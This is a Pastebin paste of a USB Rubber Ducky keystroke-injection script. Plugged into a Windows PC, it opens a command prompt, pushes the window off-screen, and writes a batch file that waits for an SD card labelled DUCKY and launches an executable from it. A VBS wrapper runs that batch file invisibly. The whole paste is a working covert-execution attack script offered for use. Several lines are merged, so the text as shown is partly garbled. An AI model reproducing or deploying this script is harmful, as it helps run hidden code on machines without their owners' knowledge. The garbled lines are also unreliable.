Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- REM Name: RunEXE.txt
- REM Purpose: Run an executable file off of the SD card after it mounts.
- REM Encoder V2.4
- REM Using the run command for a broader OS base.
- DEFAULT_DELAY 25
- DELAY 3000
- GUI r
- DELAY 1000
- STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
- DELAY 500
- ENTER
- DELAY 750
- ALT SPACE
- STRING M
- DOWNARROW
- REPEAT 100
- ENTER
- REM Change directories because System32 appears to be protected.
- STRING CD %TEMP%
- ENTER
- REM Make batch file that waits for SD card to mount.
- REM Delete batch file if already exists STRING erase /Q DuckyWait.bat
- ENTER
- STRING copy con DuckyWait.bat
- ENTER
- REM DuckyWait.bat
- STRING :while1
- ENTER
- STRING for /f %%d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%%d
- ENTER
- STRING if Exist %myd% (
- ENTER
- STRING goto :break
- ENTER
- STRING )
- ENTER
- STRING timeout /t 30
- ENTER STRING goto :while1
- ENTER
- STRING :break
- ENTER
- REM Continue script.
- STRING START %myd%\javascriptshowalert.exe
- ENTER
- CONTROL z
- ENTER
- REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
- REM Delete vbs file if already exists
- STRING erase /Q invis.vbs
- ENTER STRING copy con invis.vbs
- ENTER STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
- ENTER CONTROL Z
- ENTER
- REM RUN THE BATCH FILE
- STRING wscript.exe invis.vbs DuckyWait.bat
- ENTER
- STRING EXIT
- ENTER
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement